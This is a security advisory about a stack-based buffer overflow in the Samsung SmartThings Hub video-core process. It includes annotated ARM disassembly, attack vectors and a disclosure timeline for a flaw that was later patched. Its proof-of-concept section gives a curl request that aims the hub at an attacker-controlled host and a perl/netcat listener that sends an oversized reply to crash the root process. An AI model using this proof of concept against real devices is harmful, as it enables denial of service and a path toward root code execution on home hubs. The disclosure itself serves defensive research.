### Summary
An exploitable stack-based buffer overflow vulnerability exists in the
samsungWifiScan callback notification of `video-core`'s HTTP server of
Samsung SmartThings Hub. The `video-core` process incorrectly handles
the answer received from a smart camera, leading to a buffer overflow on
the stack. An attacker can send a series of HTTP requests to trigger
this vulnerability.
### Tested Versions
Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17
### Product URLs
[https://shop.smartthings.com/products/samsung-smartthings-hub](https://shop.smartthings.com/products/samsung-smartthings-hub)
### CVSSv3 Score
9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
### CWE
CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer
Overflow')
### Details
Samsung produces a series of devices aimed at controlling and monitoring
a home, such as wall switches, LED bulbs, thermostats and cameras. One
of those is the Samsung SmartThings Hub, a central controller which
allows an end user to use their smartphone to connect to their house
remotely and operate other devices through it. The hub board utilizes
several systems on chips. The firmware in question is executed by an
i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A
architecture.
The firmware is Linux-based, and runs a series of daemons that interface
with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth
protocols. Additionally, the `hubCore` process is responsible for
communicating with the remote SmartThings servers via a persistent TLS
connection. These servers act as a bridge that allows for secure
communication between the smartphone application and the hub. End users
can simply install the SmartThings mobile application on their
smartphone to control the hub remotely.
One of the features of the hub is that it connects to smart cameras,
configures them and looks at their livestreams. For testing, we set up
the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream
can be displayed by the smartphone application by connecting either to
the remote SmartThings servers, or directly to the camera, if they're
both in the same subnetwork.
Inside the hub, the livestream is handled by the `video-core` process,
which uses `ffmpeg` to connect via RTSP to the smart camera in its same
local network, and at the same time, provides a streamable link for the
smartphone application.
The remote SmartThings servers have the possibility to communicate with
the `video-core` process by sending messages in the persistent TLS
connection, established by the `hubCore` process. These messages can
encapsulate an HTTP request, which `hubCore` would relay directly to the
HTTP server exposed by `video-core`. The HTTP server listens on port
3000, bound to the localhost address, so a local connection is needed to
perform this request.
We identified a vulnerable request that can be exploited to achieve code
execution on the `video-core` process, which is running as root. By
requesting the path "/samsungWifiScan" it's possible to instruct the
`video-core` process to discover a Samsung smart camera and notify the
operation using a callback. As an example, consider this request:
$ curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d '{"cameraIp":"<camera-ip>","user":"x","password":"x","callbackUrl":"http://<callback-ip>:<callback-port>/<path>"}'
Once received, `video-core` will send the following HTTP request to
"camera-ip":
[1]
- video-core
GET /stw-cgi-rest/network/wifi/scan HTTP/1.1
Host: <camera-ip>:80
Accept: */*
- smart camera
<camera-http-response>
When the smart camera replies, `video-core` relays
"camera-http-response" to the callback:
[2]
POST <path> HTTP/1.1
Host: <callback-ip>:<callback-port>
Accept: */*
Content-Type: application/json
X-ST-Application: Video-Core
X-ST-Version: 1.5.3
X-ST-Method: CALLBACK
X-ST-Class: WifiSurvey
Content-Location: /dev/
Content-Length: 72
{"stClass":"WifiSurvey", "WlanSurveyError":"<camera-http-response>"}
The request at [1] is generated by `sub_45BEC`:
.text:00045BEC sub_45BEC
...
.text:00045D00 438 MOV R1, #:lower16:aHttpSStwCgiRes ; "http://%s/stw-cgi-rest/network/wifi/sca"...
.text:00045D04 438 ADD R2, SP, #0x438+cameraIp
.text:00045D08 438 MOVT R1, #:upper16:aHttpSStwCgiRes ; "http://%s/stw-cgi-rest/network/wifi/sca"...
.text:00045D0C 438 ADD R0, SP, #0x438+camera_url
.text:00045D10 438 BL sprintf
.text:00045D14 438 ADD R2, SP, #0x438+camera_url
.text:00045D18 438 MOV R1, #0x2712
.text:00045D1C 438 MOV R0, R4
.text:00045D20 438 BL curl_easy_setopt
.text:00045D24 438 MOV R1, #0x6B
.text:00045D28 438 MOV R2, #2
.text:00045D2C 438 MOV R0, R4
.text:00045D30 438 BL curl_easy_setopt
.text:00045D34 438 MOV R1, #0x27BD
.text:00045D38 438 ADD R2, SP, #0x438+username
.text:00045D3C 438 MOV R0, R4
.text:00045D40 438 BL curl_easy_setopt
.text:00045D44 438 ADD R2, SP, #0x438+password
.text:00045D48 438 MOV R1, #0x27BE
.text:00045D4C 438 MOV R0, R4
.text:00045D50 438 BL curl_easy_setopt
.text:00045D54 438 MOV R2, #:lower16:sub_458C8
.text:00045D58 438 MOV R1, #0x4E2B
.text:00045D5C 438 MOVT R2, #:upper16:sub_458C8
.text:00045D60 438 MOV R0, R4
.text:00045D64 438 BL curl_easy_setopt
.text:00045D68 438 ADD R2, SP, #0x438+curl_data_buffer
.text:00045D6C 438 MOV R1, #0x2711
.text:00045D70 438 MOV R0, R4
.text:00045D74 438 BL curl_easy_setopt ; [3]
.text:00045D78 438 MOV R1, #0xD
.text:00045D7C 438 MOV R2, #0x19
.text:00045D80 438 MOV R0, R4
.text:00045D84 438 BL curl_easy_setopt
.text:00045D88 438 MOV R0, R4
.text:00045D8C 438 BL curl_easy_perform ; [4]
.text:00045D90 438 SUBS R7, R0, #0
.text:00045D94 438 LDR R3, [R5]
.text:00045D98 438 BEQ loc_45EF8 ; jump is taken
...
.text:00045EF8 loc_45EF8
.text:00045EF8 438 CMP R3, #2
.text:00045EFC 438 BHI loc_45FEC ; jump is taken
...
.text:00045F00 loc_45F00
.text:00045F00 438 ADD R0, SP, #0x438+callbackUrl
.text:00045F04 438 LDR R1, [SP,#0x438+curl_data_buffer] ; [5]
.text:00045F08 438 MOV R2, #1
.text:00045F0C 438 BL sub_45AA8 ; [5]
...
.text:00045FEC loc_45FEC
...
.text:00046028 438 BL log
.text:0004602C 438 B loc_45F00
We can see that `libcurl` is used to send an HTTP request to the chosen
"camera-ip". A buffer for storing the smart camera's answer is specified
at [3]. After calling `curl_easy_perform` [4], the response is passed as
second argument to `sub_45AA8` [5].
.text:00045AA8 sub_45AA8
.text:00045AA8
.text:00045AA8 var_910 = -0x910
.text:00045AA8 var_90C = -0x90C
.text:00045AA8 var_904 = -0x904
.text:00045AA8 s = -0x724
.text:00045AA8 var_718 = -0x718
.text:00045AA8 var_714 = -0x714
.text:00045AA8 var_710 = -0x710
.text:00045AA8 var_708 = -0x708
.text:00045AA8 var_6F4 = -0x6F4
.text:00045AA8 sprintf_dest = -0x6E0
.text:00045AA8
.text:00045AA8 000 STMFD SP!, {R4-R7,LR}
.text:00045AAC 014 SUB SP, SP, #0x8F0
.text:00045AB0 904 SUB SP, SP, #0xC
.text:00045AB4 910 MOV R6, R1 ; [8]
.text:00045AB8 910 MOV R4, R2
.text:00045ABC 910 MOV R5, R0
.text:00045AC0 910 MOV R1, #0
.text:00045AC4 910 MOV R2, #0x70C
.text:00045AC8 910 ADD R0, SP, #0x910+s
.text:00045ACC 910 MOV R7, #8
.text:00045AD0 910 BL memset
.text:00045AD4 910 MOV R3, #:lower16:aCallback ; "CALLBACK"
.text:00045AD8 910 MOV R12, #:lower16:aWifisurvey ; "WifiSurvey"
.text:00045ADC 910 MOVT R3, #:upper16:aCallback ; "CALLBACK"
.text:00045AE0 910 MOVT R12, #:upper16:aWifisurvey ; "WifiSurvey"
.text:00045AE4 910 LDMIA R3, {R0-R2} ; "CALLBACK"
.text:00045AE8 910 ADD LR, SP, #0x910+var_6F4
.text:00045AEC 910 ADD R3, SP, #0x910+var_708
.text:00045AF0 910 CMP R4, #0
.text:00045AF4 910 MOV R4, #0xA
.text:00045AF8 910 STR R7, [SP,#0x910+var_714]
.text:00045AFC 910 STR R4, [SP,#0x910+var_718]
.text:00045B00 910 ADD R4, SP, #0x910+sprintf_dest ; [9]
.text:00045B04 910 STMIA LR!, {R0,R1}
.text:00045B08 910 STRB R2, [LR]
.text:00045B0C 910 LDMIA R12, {R0-R2} ; "WifiSurvey"
.text:00045B10 910 STMIA R3!, {R0,R1}
.text:00045B14 910 MOVEQ R0, R4 ; [9]
.text:00045B18 910 MOV R1, R2,LSR#16
.text:00045B1C 910 STRH R2, [R3],#2
.text:00045B20 910 MOVNE R0, R4 ; [9]
.text:00045B24 910 STRB R1, [R3]
.text:00045B28 910 MOVEQ R1, #0x3AF0
.text:00045B2C 910 MOVNE R1, #:lower16:aStclassWifis_0 ; "{\"stClass\":\"WifiSurvey\", \"WlanSurv"...
.text:00045B30 910 MOVTEQ R1, #:upper16:aStclassWifis_0 ; "{\"stClass\":\"WifiSurvey\", \"WlanSurv"...
.text:00045B34 910 MOVTNE R1, #0xC
.text:00045B38 910 MOVEQ R2, R6 ; [8]
.text:00045B3C 910 MOVNE R2, R6 ; [8]
.text:00045B40 910 BL sprintf ; [7]
.text:00045B44 910 MOV R0, R4
.text:00045B48 910 BL strlen
.text:00045B4C 910 ADD R1, SP, #0x910+s
.text:00045B50 910 STR R0, [SP,#0x910+var_710]
.text:00045B54 910 MOV R0, R5
.text:00045B58 910 BL notify_via_callback_url ; [6]
This function is generating the POST request at [2], which is eventually
dispatched at [6]. The POST data is created by calling `sprintf` [7] and
passing the unconstrained smart camera's response [8]. Since the
destination buffer is on the stack [9], this can be exploited to execute
arbitrary code.
We identified two different vectors that allow for exploiting this
vulnerability:
- Anyone able to impersonate the remote SmartThings servers can send
arbitrary HTTP requests to `hubCore` that would be relayed without
modification to the vulnerable `video-core` process.
- SmartThings SmartApps allow for creating custom applications that
can be either published directly into the device itself or on the
public marketplace. A SmartApp is executed inside the `hubCore`
process and is allowed to make any localhost connection. It is thus
possible for a SmartApp to send arbitrary HTTP requests directly to
the vulnerable `video-core` process.
A third vector might exist, which we didn't test. This would consist of
sending a malicious request from the SmartThings mobile application to
the remote SmartThings servers. In turn, depending on the remote APIs
available, the servers could relay the malicious payload back to the
device via the persistent TLS connection. To use this vector, an
attacker would need to own a valid OAuth bearer token, or the relative
username and password pair to obtain it.
Moreover, note that this vulnerability could also be exploited without
prior authentication when an attacker has the possibility to wait for a
camera discovery to happen, or when able to trigger a discovery through
other means.
### Exploit Proof of Concept
The following proof of concept shows how to crash the `video-core`
process:
# using curl from inside the hub, but the same request could be sent using a SmartApp
$ curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d "{\"cameraIp\":\"${sAttackerIP}:${sAttackerPort}\"}"
# on the attacker machine
$ perl -e 'print "A"x0x700' | nc -l -p ${sAttackerPort}
Once the netcat connection is closed, `video-core` should crash.
### Timeline
* 2018-03-28 - Vendor Disclosure
* 2018-05-23 - Discussion with vendor/review of timeline for disclosure
* 2018-07-17 - Vendor patched
* 2018-07-26 - Public Release
暂无评论